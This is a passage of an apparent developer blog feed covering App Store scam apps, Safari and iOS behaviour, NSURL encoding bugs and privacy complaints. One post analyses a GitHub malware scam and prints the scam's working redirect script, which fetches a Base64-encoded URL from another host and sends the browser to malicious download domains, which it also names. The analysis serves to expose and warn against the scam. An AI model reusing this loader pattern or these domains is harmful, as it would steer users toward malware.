Although humans decided on tennis scoring, arbitrarily, humans cannot just decide to hit a tennis ball at 500 kilometers per hour or make the tennis ball fly in a square wave. We make the rules of tennis but not the laws of nature, and tennis players must obey both. Tennis is not an abstract game; it’s concrete, sometimes played literally on top of concrete. Like tennis, math is also an activity constrained essentially by physics. And nobody would consider the rules of tennis to be timeless, objective truths, so I’m not sure why philosophers consider the rules of math to be timeless, objective truths. In both cases, the rules of the “game” would be pointless, make no sense without a physical instantiation, without active human participation. And in both cases, the result of the activity is somewhat unpredictable, which makes the activities interesting. This is not to say that 1 + 1 will ever add up to 3 or that a tennis player will ever proceed directly from 15 to 40. The point, if I may pun, is that the outcome of a tennis match is not predetermined, and the outcome of applying math to science, for example, is not predetermined either. The laws of nature, the mathematical equations representing them, cannot be derived by logical inference from axioms. The math must fit the empirical data observed in the world, and when scientists happen to discover a match (more puns!), the outcome is often surprising, even startling.

It’s true that we couldn’t do much science without mathematics. On the other hand, we couldn’t do much science without natural language either. Indeed, we couldn’t do much math without natural language. Try teaching a child math without ever teaching them any other language. I suspect that you’d have great difficulty reaching something as basic and simple as 1 + 1 = 2. (Actually, don't try that, because it would be extremely unethical. But you can try it as a thought experiment, in your evil mind.) In my earlier blog post, I explained why the existence of objective truths independent of us is not entailed by the fact that language is crucial to us in describing the world. Likewise, the fact that math is similarly crucial does not entail the existence of objective mathematical truths independent of us.

Sometimes it’s claimed that mathematics is the language of nature, but I’m skeptical. Humans measure, count, add, subtract, multiply, divide. Not only do we divide in the mathematical sense, we also divide the world into units, categories, and objects. These divisions are, at least to an extent, arbitrary. I’ll repeat a couple of quotes from my previous blog post:

Our vision divides the world into a relatively small number of objects, small enough that we can reasonably formulate plans of action regarding those objects: eat this, run away from that.

Much of our representation, including much of science, is simplification, cutting the world into bite-sized chunks for easy digestion.

In what sense does the nonliving world count things, add things, divide things, etc., and what exactly are these things? Where, when, and why does “natural” mathematics occur, mathematics that is independent of us? If the answer is nowhere and at no time, outside space and time, I would wonder whether the “why” is absent too, if there’s any reason for us in space and time to believe in abstract mathematics and moreover the relevance and applicability of abstract mathematics to space and time. How is it even connected to us? I suspect that there’s a philosophical, anthropomorphic, sometimes religious temptation to claim that the mathematical laws of nature are not just a scientific description of how the universe works but rather the essential cause of how the universe works. In other words, the reality that we observe would be a physical instantiation of the abstract laws, perhaps written by God.

I think of mathematics and science as reliable tools. The reliability of the tools certainly tells us something about the world, but that doesn’t mean the tools are somehow entirely independent of the toolmakers. Scientists are engaged in a kind of mapmaking. But making a map of the world doesn’t presume or require that the world itself was made from a map! Thus, the only touchstone for a map is the judgment of the map makers and users, whether the map serves their purposes. The goal is not fidelity to some original map, as if the area to be mapped were merely an intermediary between one map and another map. However, philosophers seem to aspire to reconstruct some kind blueprint for the world, a set of instructions as it were, where the blueprint already takes a kind of representational form, resembling language or symbolism, which would make it possible to judge our human descriptions and representations of the world against the blueprint, thereby providing the alleged objectivity of truth. Again, I think this is unjustified anthropomorphism.

]]>
Reaching 10 million App Store users https://lapcatsoftware.com/articles/2025/12/1.html 2025-12-10T14:20:00Z 2025-12-10T14:20:00Z How can an App Store developer reach 10 million users? It turns out that the process is surprisingly quick and easy, just three steps. The key to the process is optimizing App Store app screenshots:
  1. In the screenshots, lie about having 10 million users.
  2. Submit the app to Apple for review.
  3. Get approved by Apple.

It’s that simple! You now have 10 million users in the App Store, as verified by Apple.

Here’s an example, LeClean · AI Cleaner App by the developer ALLPRO INTERIOR OU.

LeClean App Store screenshot

Version 1.0 of the app was released on October 14, only two months ago. It sure accumulated 10 million users quickly! Curiously, those 10 million users left only 184 ratings in the US App Store. (Ratings and reviews are country-specific.)

LeClean has no support link, and its privacy policy link https://leclean.site/page77159336.html is broken; the domain leclean.site does not seem to exist. Did Apple app review never try to click it?

The app has a 3-day free trial—the minimum length of a trial in the App Store—and a $9.99 USD auto-renewing subscription. This “business model” is very popular among scammers, for obvious reasons.

By the way, the developer also lied about not being a trader in the European Union:

ALLPRO INTERIOR OU has not identified itself as a trader for this app. If you are a consumer in the European Economic Area, consumer rights do not apply to agreements between you and the provider.

Although I live in the US, I can check trader identification with a simple trick: replace the /us/ country code in the apps.apple.com URL with the code for a country in the EU, such as /ie/ for Ireland. One of the legal requirements of an EU trader is to publish contact information such as an address and phone number, so you can understand why an anonymous scammer would want to avoid that.

How did I find this App Store scam? I didn’t. It was found by Thomas Reed, formerly of Malwarebytes. And Reed found the app by following a scam advertisement on the web.

Google (2) virus have been detected on your Apple iPhone. It has been infected and damaged.

I wrote about this kind of scam earlier in the year. In that case, the scam app in question, which was subsequently removed from the App Store (I suspect thanks to my reporting, but no thanks to me from Apple), also falsely claimed to be “Trusted by millions of users worldwide.”

John Gruber of Daring Fireball recently wrote,

I could be wrong, but my sense is that Apple has, without much fanfare, cracked down on scams and rip-offs in the App Store. That doesn’t mean there’s none. But it’s like crime in a city: a low amount of crime is the practical ideal, not zero crime. Maybe Apple has empowered something like the “bunco squad” I’ve wanted for years? If I’m just unaware of blatant rip-offs running wild in the App Store, send examples my way.

Here you go, John! And I found a bunch of other examples just by browsing around the “You Might Also Like” section of the first scam app’s App Store page. Boost Clean: Ai Cleaner App by the developer OS Invest OU (who has also not identified as a trader in the EU) claims “10M+ of people liked our app,” verbatim with grammatical error from the screenshot.

Boost Clean App Store screenshot

Version 1.0 of Boost Clean—misspelled as Boost Cleaner in the screenshot—was released on November 21, only a few weeks ago. Congratulations on the explosive user growth! Here’s one App Store user’s review of the app:

4

Apparently Boost Clean also exploits the same scare tactic to acquire victims, err, users.

PristineClean: AI Cleaner App by the developer OLD SPORT LLC (not an EU trader either) claims to have acquired “10M+ Global Users” since the release of version 1.0 in June, though the app has only 647 ratings in the US App Store.

PristineClean App Store screenshot

Meanwhile, CleanVibe: AI Photo Cleaner (was it vibe-coded?) by developer Sandre Javahis (no surprise, not an EU trader) claims to be not only “Trusted by 10M+ users” but also the “Leading AI Cleaner Worldwide.” That’s quite an accomplishment since the release of version 1.0 in April!

CleanVibe App Store screenshot

Secura: AI Phone Security Tool by the developer IT ATMAN, SRL (you guessed it, not a trader), version 1.0 released September 23, claims to have “10M+ Users Worldwide” and to be the “#1 AI Cleaner App,” which seems to contradict the claims of some of the other mentioned apps.

Secura App Store screenshot

All of the apps mentioned here have 3-day trials before their In-App Purchase, customary for scams. Get the money ASAP before users remember to cancel, if they remember at all.

As an App Store developer myself, what bothers me the most is actually that the App Store has strict screenshot requirements, depending on specific device screen sizes—I can’t even take a Mac App Store screenshot on my expensive new “notched” M4 MacBook Pro—yet none of the above images are really screenshots of the apps! They’re merely advertising banners in the size of a device screen. Sometimes I feel like I’m the only developer in the App Store who respects the rules and publishes unadorned screenshots of my apps to show to potential users. Perhaps I’m too honest for this business.

]]>
Feedback Assistant app mysteriously triggers IMTransferAgent https://lapcatsoftware.com/articles/2025/11/5.html 2025-11-28T17:45:00Z 2025-11-28T17:45:00Z I’m posting this as a mystery because I’ve lost much of my motivation to reverse engineer macOS. That’s no longer my job, since I left Rogue Amoeba Software [checks watch] nine years ago, and my main product StopTheMadness Pro—which by the way is on sale!—is a web browser extension, so nowadays I’m more likely to spend my time reverse engineering websites. I think the career progression was natural: in both cases, my code is injected into someone else’s app. Anyway, another reason I lost my motivation was that macOS Big Sur moved all of the system libraries into the dyld shared cache, which introduced an inconvenient (for me) level of indirection. Also, Apple has gone crazy introducing omnipresent XPC (an acronym for cross-process communication?) services, which are difficult to debug.

Whenever I launch Feedback Assistant app (/System/Library/CoreServices/Applications/Feedback Assistant.app), it triggers IMTransferAgent app (/System/Library/PrivateFrameworks/IMTransferServices.framework/IMTransferAgent.app) internet connection attempts, which I see in Little Snitch (also currently on sale!).

IMTransferAgent wants to connect to gcs-us-00003.content-storage-upload.googleapis.com on TCP port 443 (https)

As the Little Snitch alert says, “Instant Messaging Transfer Agent is a macOS system process and responsible for sending and receiving files transferred using the Messages app.”

Little Snitch Internet Access Policy

The question is, how in the world are Messages app and iMessage related to Feedback Assistant?

Further Little Snitch alerts show that the connections are for iCloud. The connection to Google is likely because iCloud is known to use Google Cloud for storage.

IMTransferAgent wants to connect to p160-content.icloud.com on TCP port 443 (https) IMTransferAgent wants to connect to p1187-content.icloud.com on TCP port 443 (https) IMTransferAgent wants to connect to p107-content.icloud.com on TCP port 443 (https) IMTransferAgent wants to connect to p128-content.icloud.com on TCP port 443 (https)

Nonetheless, I’ve disabled Messages in iCloud, for privacy, so Messages app itself isn’t using iCloud. Why, then, is Feedback Assistant using it?

I discovered this little gem in the IMTransferAgent app entitlements:

codesign --display --entitlements - /System/Library/PrivateFrameworks/IMTransferServices.framework/IMTransferAgent.app/Contents/MacOS/IMTransferAgent
[String] IMTransferAgent
[Key] com.apple.private.appleaccount.app-hidden-from-icloud-settings
[Value]
[Bool] true

In other words, Apple has exempted IMTransferAgent from appearing in the iCloud section of System Settings, so you can’t see whether it’s using iCloud or turn off that usage.

The Feedback Assistant behavior remains a mystery to me. If you have an answer to the mystery, please let me know. (And if you have an idle guess, please don’t let me know.)

]]>
Web browser status bars are nuts https://lapcatsoftware.com/articles/2025/11/4.html 2025-11-25T15:45:00Z 2025-11-25T15:45:00Z If you hover over an https link in Safari, the status bar shows the full URL. (You have to select Show Status Bar in Safari’s View menu.) But if you hover over an http link, the status bar omits the URL scheme.

https://example.org example.org

Chrome does the same thing.

https://example.org example.org

Firefox, however, does the opposite! The status bar shows the full http URL but omits the https URL scheme.

example.org http://example.org

In either case, I don’t know how in the world wide web omitting the URL scheme is helpful, or how web browser users are supposed to remember which URL scheme is omitted, even if they only ever use one browser.

Ironically, the Safari address bar omits the https URL scheme by default, which is the opposite of the Safari status bar.

example.org

You get to see the URL scheme only if you select the URL.

https://example.org

The address bar also omits the http URL scheme by default, but at least “Not Secure” is displayed, somewhat helpfully.

Not Secure — example.org

The Chrome address bar is similar to Safari.

example.org Not Secure example.org

However, enabling Always Show Full URLs in the View menu always shows the URL scheme.

https://example.org Not Secure http://example.org

The Firefox address bar omits the https URL scheme, like the Firefox status bar, though the address bar does show a lock icon.

example.org Not Secure http://example.org

In summary, the three major desktop web browsers are inconsistent with each other, sometimes inconsistent within themselves, and in general, nuts. I suspect that the web browser vendors ultimately want to erase URL schemes altogether, which is bad enough, but the current halfhearted, half-baked, half measures appear even worse. This misguided scheme to remove URL schemes needs to be completely rethought.

]]>
Why iOS Safari does not open App Store app links https://lapcatsoftware.com/articles/2025/11/3.html 2025-11-23T15:30:00Z 2025-11-23T15:30:00Z Earlier this month, Apple redesigned https://apps.apple.com, which is essentially a web preview of the App Store. It’s not really the App Store on the web, because you can’t purchase or download apps from the website. I’ve already blogged about how the redesign affects Safari on macOS, and now I’ll blog about how it affects Safari on iOS. There’s some overlap but also some iOS-specific behavior.

Curiously, the new website works only on iOS 26. In my testing, Safari on iOS 18 refuses to load any apps.apple.com pages, not even the front page. All apps.apple.com URLs are sent to the App Store app, either immediately in non-private windows or after you grant permission in private windows. If you cancel in a private window, then nothing gets loaded anywhere.

Open this page in “Apple Store”? Cancel Open

This restriction appears to be hard-coded into Safari 18, because nothing on the server side prevents the website from loading. The following URL request successfully returns an HTML page:

curl -v -A 'Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7.2 Mobile/15E148 Safari/604.1' 'https://apps.apple.com/us/iphone/today'

On iOS 26, you can open https://apps.apple.com in Safari, and you can navigate to individual app pages via links within the site or via the search field. However, you can’t open an App Store app page such as https://apps.apple.com/us/app/stopthemadness-pro/id6471380298 from an external link. Why? Try this:

curl -v -A 'Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.1 Mobile/15E148 Safari/604.1' 'https://apps.apple.com/us/app/stopthemadness-pro/id6471380298'

Notice that the only difference between Safari 26 and Safari 18 is the Version/ number; otherwise, WebKit has intentionally frozen the User-Agent HTTP header.

The above URL request returns an HTTP 301 redirect response with this Location header value:

itms-appss://apps.apple.com/us/app/stopthemadness-pro/id6471380298

The URL scheme is not https for the web but rather itms-appss for the App Store, which is why Safari sends the URL to the App Store app!

Compare with macOS Safari:

curl -v -A 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.1 Safari/605.1.15' 'https://apps.apple.com/us/app/stopthemadness-pro/id6471380298'

This URL request returns an HTTP 200 OK response with the web page of the app. In other words, the apps.apple.com website treats iOS and macOS Safari differently.

You may ask, if an App Store app URL redirects to itms-appss on iOS, why can you navigate to app pages on the apps.apple.com website? The answer is that the apps.apple.com website hijacks your link clicks! You can see this clearly if you enable the option “Protect all links” in my Safari extension StopTheMadness Pro, whose App Store URL I’m using as an example in this blog post. When this option is enabled, clicking app page links on apps.apple.com does try to open the App Store app on iOS, because the website is no longer hijacking your clicks. Another way of viewing the same phenomenon is to disable “Protect all links” but enable the “Protect history” option in StopTheMadness Pro. You can now navigate to individual app pages on the website, but the URL in the address bar never changes from the original https://apps.apple.com/us/iphone/today, which means that the navigation is “faked” by the website. (This is common practice, which you can also see on YouTube, for example.)

The obvious workaround for itms-appss redirects with external links on iOS would be to enable Request Desktop Website for apps.apple.com in Safari Settings. Request Desktop Website uses the macOS Safari User-Agent rather than the iOS Safari User-Agent. Does this workaround actually work? Well, yes and no.

If you paste https://apps.apple.com/us/app/stopthemadness-pro/id6471380298 into the Safari address bar with Request Desktop Website enabled on apps.apple.com, the web page will load. However, if you click an external link such as https://apps.apple.com/us/app/stopthemadness-pro/id6471380298, Safari still wants to open the App Store app. The reason is the same as I described in my previous blog post: Safari treats App Store links as Universal Links. Again, Safari has special, hard-coded behavior in this case.

In a private window, with Request Desktop Website enabled on apps.apple.com, you can click an external link to an App Store app URL, then press Cancel in the permission dialog, and the apps.apple.com page will load in Safari. In a non-private window, on the other hand, you have to avoid clicking the link directly. One option is to press down on the link to show the contextual menu and select the Open command from the menu.

Safari contextual menu for links

This action is equivalent to pasting the URL into the address bar, so it will load the web page in Safari instead of opening the App Store app, as long as Request Desktop Website is enabled.

On macOS, my app Stop The Mac App Store nullifies App Store Universal Links in Safari by presenting a fake App Store app with no support for Universal Links. Unfortunately, such an app is not possible on iOS. This is for your own protection, you know.

]]>
Web development tip: disable pointer events on link images https://lapcatsoftware.com/articles/2025/11/2.html 2025-11-22T18:50:00Z 2025-11-24T14:00:00Z My business website has a number of “Download on the App Store” links for my App Store apps. Here’s an example of what that looks like:

Download on the App Store

And here’s the HTML source code:

<a href="https://apps.apple.com/app/stopthemadness-pro/id6471380298" title="StopTheMadness Pro in the App Store">
<img src="2-images/Download_on_the_App_Store_Badge_US-UK_135x40.svg" alt="Download on the App Store" width="135" height="40">
</a>

The problem is that Live Text, “Select text in images to copy or take action,” is enabled by default on iOS devices (Settings → General → Language & Region), which can interfere with the contextual menu in Safari. Pressing down on the above link may select the text inside the image instead of selecting the link URL.

Text selected

A simple solution is to disable pointer events on the image:

Download on the App Store
<a href="https://apps.apple.com/app/stopthemadness-pro/id6471380298" title="StopTheMadness Pro in the App Store" style="display: inline-block;">
<img src="2-images/Download_on_the_App_Store_Badge_US-UK_135x40.svg" alt="Download on the App Store" width="135" height="40" style="pointer-events: none;">
</a>

It’s also crucial to set the CSS display property of the anchor element to inline-block, because the image inside the anchor is a replaced element that doesn’t affect the height of its parent element. By default, the anchor is inline, making its height only one line of text, so only that area would be clickable, leaving dead areas on the image.

This solution allows visitors to your website on iOS devices to preview the link, copy it, open it in a new tab, etc.

URL selected

I now use the following CSS in the style sheet of my website:

a > img { pointer-events: none; }
a:has(> img) { display: inline-block; }
]]>
Apple Messages app violates tracking number privacy https://lapcatsoftware.com/articles/2025/11/1.html 2025-11-11T01:45:00Z 2025-11-11T01:45:00Z Today I received a shipment notification via text message to my phone number from a company unrelated to Apple. The shipped product was not ordered with my iPhone, and in fact the product manufacturer doesn’t even know that I own any Apple devices. The message included a US Postal Service tracking number. Messages app on my iPhone transformed the tracking number into a link. When I pressed down on the link to reveal the URL, I was surprised by it:

https://trackingshipment.apple.com/?Company=USPS&Locale=&TrackingNumber=

My tracking number, which I won’t post here, was appended to the URL. If I had tapped on the link generated by Messages app, it would have sent my tracking number not to the US Postal Service but to Apple!

Messages app is apparently “smart enough” to recognize that there’s a USPS tracking number in the text message but not smart enough to use a USPS tracking URL:

https://tools.usps.com/go/TrackConfirmAction?qtc_tLabels1=

With my tracking number, Apple could learn information about me and my consumer habits. Moreover, Apple could easily associate my tracking number with my Apple account via the IP address of my URL requests, because iPhones constantly phone home to Apple for various logged in services, such as the App Store.

I’m not claiming that Apple will use or abuse this data. I’m just claiming that it’s possible, and it shouldn’t be possible. Apple intentionally sending itself our tracking numbers is what makes it possible for Apple to connect the dots. It wouldn’t be possible if Apple never received that data in the first place.

According to Apple marketing:

Privacy. That’s Apple.

Privacy is a fundamental human right. It’s also one of our core values. Which is why we design our products and services to protect it. That’s the kind of innovation we believe in.

But I don’t believe the marketing. Apple has inserted itself where it doesn’t belong with this Messages “feature,” or misfeature. Why does Apple want to send itself our tracking numbers? Apple tracking is the opposite of privacy!

In general, I get the impression that Apple simply exempts itself from its definition of “privacy.” Only other companies can track you, not Apple, despite the vast amount of data that Apple collects from all of its customers. Apple considers itself implicitly trustworthy, so Apple customers are not supposed to worry about giving all of their data to Apple. I use Little Snitch to stop macOS from phoning home in many cases, but unfortunately Apple does not allow any software like Little Snitch to exist on iOS. This limitation is supposedly for our own “protection.” If you want to see how much iOS phones home, install Little Snitch on your Mac and then run an iOS simulator in Apple’s Xcode developer tools. You might be surprised too.

]]>
Stop The Mac App Store is not obsolete https://lapcatsoftware.com/articles/2025/10/1.html 2025-10-05T16:00:00Z 2025-10-05T16:05:00Z My free open source app Stop The Mac App Store stops Safari from automatically opening the App Store app. When Apple redesigned https://apps.apple.com yesterday, as reported by 9to5Mac and others, I initially believed that the new design rendered Stop The Mac App Store obsolete, because App Store pages on the web no longer automatically open the App Store app. On further testing, however, it appears that my app is still useful.

I had forgotten about an issue that I blogged about in early 2024: Safari treats App Store URLs as Universal Links. Notice that the App Store web page for my app StopTheMadness Pro has a banner “Open in the App Store app” at the top, which indicates a Universal Link.

StopTheMadness Pro App - App Store

If you enter the URL https://apps.apple.com/app/stopthemadness-pro/id6471380298 in the address bar, Safari opens the web page. And if you click the “View in Mac App Store” button on the web page, the App Store app opens to the StopTheMadness Pro product page. So far, so good. The new App Store website is fine; it turns out that the problem is getting to the website in the first place, because clicked links behave differently than URLs entered in the address bar. If you you click an App Store link such as https://apps.apple.com/app/stopthemadness-pro/id6471380298 in a non-private Safari window, Safari opens the App Store app instead of loading the App Store website.

In a private window, Safari asks your permission first before opening the App Store app. Strangely, Safari asks the same question a second time if you cancel the first time. If you cancel both times, the apps.apple.com web page opens.

Do you want to allow this website to open “App Store”?

You can command-click an App Store link in Safari to open the website in a new tab instead of opening the App Store app. So that’s one workaround for the problem, as long as you always remember to command-click. Another workaround, as you may have guessed, is to use my app Stop The Mac App Store. With Stop The Mac App Store installed, clicking an App Store link in Safari simply opens the linked web page, in both private and non-private windows.

The only problem with Stop The Mac App Store is that clicking the “View in Mac App Store” button on apps.apple.com triggers a permission prompt. But you can suppress the prompt forever by opening the page in a non-private window and clicking Always Allow. (The Always Allow option does not appear in a Safari private window.)

Do you want to allow this website to open “Stop The Mac App Store.app”?

The rumors of the demise of Stop The Mac App Store are greatly exaggerated. I’m sorry for starting those rumors.

]]>
URL/NSURL double-encodes characters unnecessarily https://lapcatsoftware.com/articles/2025/9/5.html 2025-09-30T20:35:00Z 2025-09-30T20:35:00Z The behavior I’ll describe is the same with the Swift API URL and the Objective-C API NSURL. I still use Objective-C in my own apps and will use it in this blog post; regardless of how you feel about that older language, one of its indisputable advantages is that searching the web for an Objective-C API such as NSURL is vastly more productive than searching for a Swift API such as URL! It turns out that namespaces matter outside of source code.

The Apple developer documentation linked above includes an important warning:

For apps linked on or after iOS 17 and aligned OS versions, NSURL parsing has updated from the obsolete RFC 1738/1808 parsing to the same RFC 3986 parsing as NSURLComponents. This unifies the parsing behaviors of the NSURL and NSURLComponents APIs. Now, NSURL automatically percent- and IDNA-encodes invalid characters to help create a valid URL.

To check if a URLString is strictly valid according to the RFC, use the new [NSURL URLWithString:URLString encodingInvalidCharacters:NO] method. This method leaves all characters as they are and returns nil if URLString is explicitly invalid.

Among the aligned OS versions are macOS 14 Sonoma, released in 2023 along with iOS 17.

Let’s consider two example URL strings:

  1. https://example.org?url=https%3A%2F%2Fexample.org%3Ffoo(0)%3Dbar
  2. https://example.org?url=https%3A%2F%2Fexample.org%3Ffoo[0]%3Dbar

These two are identical except that the second replaces the left and right parentheses, which are allowed in a URL query, with left and right brackets, which are disallowed in a URL query. Consequently, [NSURL URLWithString:URLString encodingInvalidCharacters:NO] returns non-null in the first case and null in the second case, as expected.

The older, simpler API [NSURL URLWithString:URLString] behaves the same as [NSURL URLWithString:URLString encodingInvalidCharacters:YES] when your code is compiled with the iOS 17 or macOS 14 SDK. So much for backward compatibility! [NSURL URLWithString:URLString] continues to work fine with example 1, leaving the URL string untouched, but it mangles example 2:

https://example.org?url=https%253A%252F%252Fexample.org%253Ffoo%5B0%5D%253Dbar

Notice that the brackets are encoded as %5B and %5D, which is good, but the preexisting % characters are also encoded as %25, thereby transforming %3A (an encoded : character) into %253A, which is bad, indeed bonkers! The % characters did not need to be encoded, because they are already valid characters in a URL query.

When you call [NSURL URLWithString:URLString] on iOS 16 or macOS 13 and earlier, before this change of behavior was implemented, the expected, sane result is returned:

https://example.org?url=https%3A%2F%2Fexample.org%3Ffoo%5B0%5D%3Dbar

In other words, the invalid bracket characters are encoded, and everything else that was already valid in the URL remains the same.

My app Link Unshortener uses [NSURL URLWithString:URLString], which is how I discovered the unfortunate double-encoding of URL characters. The real-world example containing invalid bracket characters in the query was a Facebook URL.

I’ve filed a bug report in Apple Feedback Assistant: “URL/NSURL double-encodes characters unnecessarily” (FB20439045).

As far as I’m aware, a good workaround for this bug does not exist. The only reliable “solution” would be to abandon the Apple NSURL API and write my own URL parser, a prospect that I do not relish, especially just to handle a corner case.

]]>
Safari 26 advanced fingerprinting protection: A confusing feature https://lapcatsoftware.com/articles/2025/9/4.html 2025-09-29T14:55:00Z 2025-09-29T14:55:00Z According to the Apple press release announcing iOS 26:

Browsing in Safari gets even more private with advanced fingerprinting protection extending to all browsing by default.

According to the Apple press release announcing macOS 26:

And for even greater protection from trackers when browsing, Safari now offers advanced fingerprinting protection in all browsing by default.

A more detailed explanation is found in the WebKit blog post announcing Safari 26:

In our continuing efforts to improve privacy and protect users, Safari 26.0 now prevents known fingerprinting scripts from reliably accessing web APIs that may reveal device characteristics, such as screen dimensions, hardware concurrency, the list of voices available through the SpeechSynthesis API,  Pay payment capabilities, web audio readback, 2D canvas and more. Safari additionally prevents these scripts from setting long-lived script-written storage such as cookies or LocalStorage. And lastly, Safari prevents known fingerprinting scripts from reading state that could be used for navigational tracking, such as query parameters and document.referrer.

What does this all mean exactly? It turns out, perhaps not what you expect!

You can find advanced tracking and fingerprinting protection in Safari Advanced Settings on both iOS and macOS. This setting has three options: off, private browsing, and all browsing. In Safari 18, the default option is private browsing. What you might expect, what a Lifehacker article published a few days ago assumed, and indeed what I had expected, is that Safari 26 switches the advanced tracking and fingerprinting default option from private browsing to all browsing. But this is wrong!

In a WebKit bug report that I filed, I expressed my expectation:

Apparently Safari 26 enables advanced tracking and fingerprinting by default in private and non-private windows, so this is going to become a major problem for me soon.

An Apple engineer corrected me:

This protection applies only to a subset of scripts — I've confirmed that this bug does not reproduce in normal browsing in Safari 26, with these protections enabled.

Confused, I asked for clarification, which the Apple engineer provided:

I am referring to protections that are new in Safari 26, which are *not* guarded by the "Use advanced tracking and fingerprinting protection" setting. Instead, these new protections are a part of Intelligent Tracking Prevention, and are thus guarded by "Prevent cross-site tracking" in Safari's privacy settings.

In Safari 26 on macOS Tahoe, the advanced tracking and fingerprinting protection setting is controlled by the user defaults EnableEnhancedPrivacyInPrivateBrowsing and EnableEnhancedPrivacyInRegularBrowsing. To reset these, and undo any change you’ve made to the setting, quit Safari and run the following commands in Terminal:

defaults delete com.apple.Safari EnableEnhancedPrivacyInPrivateBrowsing
defaults delete com.apple.Safari EnableEnhancedPrivacyInRegularBrowsing

The next time you launch Safari, you’ll find that advanced tracking and fingerprinting protection is set to… private browsing. In other words, the default setting has not changed since Safari 18 and macOS Sequoia! And this corresponds to what the Apple engineer told me.

Now we know what did not change in Safari 26. So how exactly did fingerprinting protection change? Frankly, I have no idea! As a professional Safari extension developer, I know how Safari works better than most people, but I don’t know how advanced fingerprinting protection works in Safari 26. I was not able to reproduce the behavior (vaguely) described in the WebKit blog post, despite running some tests specifically for that purpose. I asked for clarification from an “Apple Evangelist” for Safari on social media but received no response. Thus, the new Safari feature remains a mystery, as far as I can tell. That’s unfortunate, because how can we honestly tell people that Safari 26 improves your privacy when we don’t even know what it does? In any case, I hope that the news media will stop assuming, incorrectly, that the new feature is what we would initially expect it to be.

]]>
GitHub-hosted copycat Mac app malware scam proliferates https://lapcatsoftware.com/articles/2025/9/3.html 2025-09-27T14:10:00Z 2025-09-27T14:10:00Z First reported a few weeks ago on Reddit and on Michael Tsai’s blog, this scam unfortunately continues unabated. My own app StopTheMadness Pro has been impersonated on GitHub at least twice. Although a repository that I discovered September 16 was subsequently removed and now returns 404 not found (with no public notice to visitors from GitHub that this was formerly a malware scam), another StopTheMadness Pro copycat is still live on GitHub as of the publication of this blog post.

StopTheMadness Pro — Advanced Web Behavior Control

The search phrase "for macOS" on GitHub reveals countless such fakes, pretending to be well-known Mac apps such as 1Blocker, Airfoil, BBEdit, Figma, Little Snitch, Malwarebytes, OmniOutliner, SoundSource, and VLC Media Player. This is clearly the work of a single person or group, because every repository follows the exact same template and technique. And there’s always a blatant “SEO Keywords” section on the page in order to game search engine results, already exploiting GitHub’s own prominent ranking.

SEO Keywords

Each scam repository was created by a separate anonymous GitHub user who joined recently, within the last month or two. There’s often a support email address at the top of the page, but the email address is fake and includes the name of the app in the domain to lend legitimacy to the scam.

The download link goes to a GitHub page of a different anonymous GitHub user from the one who created the repository; a huge number of fraudulent GitHub accounts are involved in this scam. The linked page, for example https://thynizaudin.github.io/.github/stopthemadness, contains some JavaScript:

<script>
(async function () {
  try {
    const res = await fetch(
      "https://valbonau.github.io/.github/valbo.nau"
    );
    if (!res.ok) throw new Error(`Config HTTP ${res.status}`);
    const { c } = await res.json();
    const url = atob(c);
    if (!/^https?:\/\//.test(url)) throw new Error("Invalid URL");
    window.location.href = url;
  } catch (e) {
    console.error(e);
  }
})();
</script>

This script loads a URL from, you guessed it, yet another anonymous GitHub account.

{
  "c": "aHR0cHM6Ly9wb3BraW5zcG9wLmNvbS8="
}

The result is just some JSON containing a Base64-encoded URL, such as https://popkinspop.com/, which returns an HTTP 302 redirect, to https://volt-apps.com/ewer-lest.html for example. This page gives you the option to “install” the app via Terminal—along with an instructional video!—or download a disk image. The download link goes to a URL such as https://alhodooa.com/get.php?call=stack for example. Note that they claim to be a “Verified Publisher.” Either way, through several more layers of indirection, the victim will eventually run a mysterious Mach-O executable, which I haven’t analyzed but which no doubt is up to no good. I’ll leave malware analysis to security researchers such as Patrick Wardle.

Terminal installation

Download .dmg file

This scam on GitHub is running amok. I’ve reported a few of the fakes myself to GitHub, but I can’t keep up, and that’s not my job. GitHub and Microsoft, the owner of GitHub, need to take decisive and comprehensive action to stop the spread of malware on their platform. Most concerning, I think, is the apparently unlimited ability of an attacker to create and deploy legions of anonymous new GitHub accounts for nefarious purposes.

]]>
Safari 26 changed address bar copying https://lapcatsoftware.com/articles/2025/9/2.html 2025-09-24T17:45:00Z 2025-09-24T17:45:00Z For your default search engine, the Safari address bar displays your search terms rather than the search engine URL

StopTheMadness Pro at DuckDuckGo

You can specify your default search engine in Safari Settings.

Safari Search Settings

In Safari 18 and earlier, when you copy and paste from the address bar, for example with the ⌘C and ⌘V keyboard shortcuts, the result is a URL, https://duckduckgo.com/?q=StopTheMadness+Pro&t=osx&ia=web in this case. In Safari 26, however, the result is simply your search terms, StopTheMadness Pro in this case.

If you open the Safari 26 contextual menu on the address bar, you can see two menu items, Copy Search Terms and Copy Link, whereas in Safari 18 and earlier there is only a single contextual menu item Copy, which copies the link URL.

Safari address bar contextual menu

The same change in behavior has occurred from iOS 18 to iOS 26. On the former, the Safari address bar contextual menu includes a single Copy command, which again copies the link URL.

DuckDuckGo search on iOS 18

Whereas on iOS 26, there are two contextual menu items, Copy Search Terms and Copy Link. Notice the visual glitch in Safari private windows where the search terms are missing in the selected address bar, because Liquid Glass is half-baked.

DuckDuckGo search on iPadOS 26

On macOS, you can use the developer utility Clipboard Viewer app to see what’s happening at a technical level. Clipboard Viewer is part of the Additional Tools for Xcode, an optional download available to registered Apple developers. When you copy the address bar in Safari 18, the pasteboard item of type public.utf8-plain.text is the search engine URL, but in Safari 26 it’s the search terms. With both Safari 18 and Safari 26, the search engine URL is available on the pasteboard as type public.url, but when you paste into a text area, the text type is preferred.

In my opinion, the contextual menu change is fine, indeed an improvement, but the keyboard shortcut behavior is a downgrade. When copy was separated into two commands in Safari, Apple had a choice to make with regard to the copy keyboard shortcut, and in the immortal words of Judge Yvonne Gonzalez Rogers, “Cook chose poorly.” (That’s a joke. Tim Cook probably wasn’t involved directly.)

The good news is that my Safari extension StopTheMadness Pro has an option to copy the page URL when you use the ⌘C shortcut. However, this feature works only when the web page has the focus, not the Safari address bar, because Safari extensions have no direct access to the address bar.

]]>
